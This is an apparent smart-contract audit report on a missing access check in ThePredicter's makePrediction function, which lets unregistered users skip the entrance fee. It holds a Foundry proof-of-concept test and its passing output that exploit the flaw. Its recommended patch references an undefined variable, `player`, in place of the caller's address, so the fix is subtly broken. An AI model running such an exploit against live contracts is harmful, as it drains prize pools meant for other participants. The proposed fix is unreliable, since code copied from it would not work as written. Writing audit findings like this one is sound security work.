Summary
No proper checks in ThePredicter::makePrediction
function, allows anybody to skip entrance fees to enter as a player.
Vulnerability Details
function makePrediction(
uint256 matchNumber,
ScoreBoard.Result prediction
) public payable {
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}
Above function has no checks if caller is approved player or not. It simply allows anybody who spending prediction fees. Which breaks the core invariant of the protocol.
This will allows users to bypass entrance fees, causing loss to participants as entrance fees is meant to serve as prize pool at the end of the event.
POC
In existing test suite, add following test
function test_AnybodyCanMakePredictionWithoutRegistering () public {
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.makePrediction{value: 0.0001 ether}(
0,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Second
);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
vm.stopPrank();
console.log("Stranger points:", scoreBoard.getPlayerScore(stranger));
}
then run forge test --mt test_AnybodyCanMakePredictionWithoutRegistering -vv
and it will return following output.
[⠊] Compiling...
[⠃] Compiling 1 files with Solc 0.8.20
[⠊] Solc 0.8.20 finished in 1.86s
Compiler run successful!
Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[PASS] test_AnybodyCanMakePredictionWithoutRegistering() (gas: 161817)
Logs:
Stranger points: 1
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.68ms (1.33ms CPU time)
Ran 1 test suite in 162.27ms (9.68ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Loss of funds
Tools Used
Manual Review
Recommendations
Make sure to check if caller is approved player or not. Here is the recomendations given below.
function makePrediction(
uint256 matchNumber,
ScoreBoard.Result prediction
) public payable {
+ if (playersStatus[player] != Status.Approved) {
+ revert ThePredicter__UnauthorizedAccess();
+ }
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}